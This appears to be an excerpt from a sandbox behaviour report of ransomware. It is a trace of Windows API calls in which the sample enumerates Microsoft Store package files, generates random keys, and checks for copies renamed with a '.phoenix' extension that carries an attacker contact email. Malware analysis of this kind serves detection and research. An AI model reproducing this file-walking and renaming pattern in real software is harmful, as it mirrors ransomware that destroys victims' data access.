	[0262.027] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.028] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.028] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\environmentsapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0262.029] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=12288) returned 1
	[0262.029] CloseHandle (hObject=0x2f0) returned 1
	[0262.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\environmentsapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1")) returned 0x26
	[0262.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\environmentsapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.029] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\environmentsapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.029] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.029] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\environmentsapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0262.030] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.030] CloseHandle (hObject=0x2f0) returned 1
	[0262.030] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.030] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\environmentsapp_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.125] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2396) returned 1
	[0262.125] CloseHandle (hObject=0x2c0) returned 1
	[0262.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\environmentsapp_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\environmentsapp_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.126] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\environmentsapp_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.126] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.126] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.127] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=16384) returned 1
	[0262.127] CloseHandle (hObject=0x2c0) returned 1
	[0262.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.127] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.128] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.128] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.128] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.128] CloseHandle (hObject=0x2c0) returned 1
	[0262.129] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.129] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.130] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1112) returned 1
	[0262.130] CloseHandle (hObject=0x2c0) returned 1
	[0262.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.130] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.131] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.131] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.132] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=12288) returned 1
	[0262.132] CloseHandle (hObject=0x2c0) returned 1
	[0262.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.132] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.133] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.133] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.133] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.133] CloseHandle (hObject=0x2c0) returned 1
	[0262.133] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.133] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.135] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2452) returned 1
	[0262.136] CloseHandle (hObject=0x2c0) returned 1
	[0262.136] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.136] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.136] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.136] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.136] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.137] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=28672) returned 1
	[0262.137] CloseHandle (hObject=0x2c0) returned 1
	[0262.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.137] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.137] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.138] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.138] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.138] CloseHandle (hObject=0x2c0) returned 1
	[0262.138] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.138] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.141] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=5356) returned 1
	[0262.141] CloseHandle (hObject=0x2c0) returned 1
	[0262.141] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.141] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.141] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.141] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.141] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.143] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=28672) returned 1
	[0262.143] CloseHandle (hObject=0x2c0) returned 1
	[0262.143] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.143] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.143] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.143] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.143] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.144] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.144] CloseHandle (hObject=0x2c0) returned 1
	[0262.144] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.144] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.148] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=5312) returned 1
	[0262.148] CloseHandle (hObject=0x2c0) returned 1
